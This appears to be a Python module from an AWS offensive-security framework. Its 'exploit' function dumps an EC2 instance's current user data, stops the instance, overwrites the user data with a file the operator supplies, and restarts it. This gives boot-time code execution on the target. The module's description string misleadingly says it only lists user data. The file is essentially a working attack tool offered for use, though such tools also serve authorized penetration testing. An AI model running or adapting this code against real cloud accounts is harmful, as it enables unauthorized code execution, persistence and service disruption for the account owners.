from termcolor import colored
import sys
import time
import os
from datetime import datetime
import base64

author = {
    "name": "gl4ssesbo1",
    "twitter": "https://twitter.com/gl4ssesbo1",
    "github": "https://github.com/gl4ssesbo1",
    "blog": "https://www.pepperclipp.com/"
}

needs_creds = True

variables = {
    "SERVICE": {
        "value": "ec2",
        "required": "true",
        "description":"The service that will be used to run the module. It cannot be changed."
    },
    "INSTANCE": {
        "value": "",
        "required": "true",
        "description":"The service that will be used to run the module. It cannot be changed."
    },
    "USERDATAFILE": {
        "value": "",
        "required": "true",
        "description":"The service that will be used to run the module. It cannot be changed."
    }
}

description = "Lists User data of an Instance provided. Requires Secret Key and Access Key of an IAM that has access to it."

aws_command = "aws ec2 modify-instance-attribute --intance-id <instance ID> --region <region> --attribute userData --user-data <base64 of user data> --profile <profile>"

def exploit(profile, workspace):
    file = variables['USERDATAFILE']['value']
    instance = variables['INSTANCE']['value']

    if not os.path.exists(file):
        print(colored("[*] File does not exist. Check the path or name.","red"))

    else:
        response = profile.describe_instance_attribute(
            InstanceId=instance,
            Attribute='userData'
        )

        try:
            data = base64.b64decode(response['UserData']['Value'])
            #data = response['UserData']['Value']
            dt_string = (datetime.now()).strftime("%d_%m_%Y_%H_%M_%S")
            directory = "{}\\{}".format(os.getcwd(),"user_data")
            filename = "{}\\{}_{}".format(directory, str(instance), dt_string)
            if not os.path.exists(directory):
                os.makedirs(directory)

            with open(filename, 'w') as user_filename:
                user_filename.write(str(data))
            print(colored("[*] Current user data is dumped on file '{}'. Remember to cleanup after finishing.".format(filename),"yellow"))

        except:
            e = sys.exc_info()[0]
            print(colored("[*] {}".format(e), "red"))

        try:
            userfile = open(file, 'rb')
            userdata = userfile.read()
            print(colored("[*] Shutting down the instance...","yellow"))
            profile.stop_instances(
                InstanceIds=[
                    instance
                ]
            )
            time.sleep(30)
            print(colored("[*] Instance shut down. ", "green"))
            print(colored("[*] Changing user data... ", "yellow"))
            response = profile.modify_instance_attribute(
                InstanceId=instance,
                UserData={
                    'Value': userdata.decode('utf-8')
                }
            )

            if response['ResponseMetadata']:
                print(colored("[*] User data Changed. ","green"))

            print(colored("[*] Starting the Instance... ","yellow"))

            profile.start_instances(
                InstanceIds=[
                    instance
                ]
            )
            time.sleep(30)
            print(colored("[*] Instance started. ", "green"))
        except:
            e = sys.exc_info()[0]
            print(colored("[*] {}".format(e), "red"))
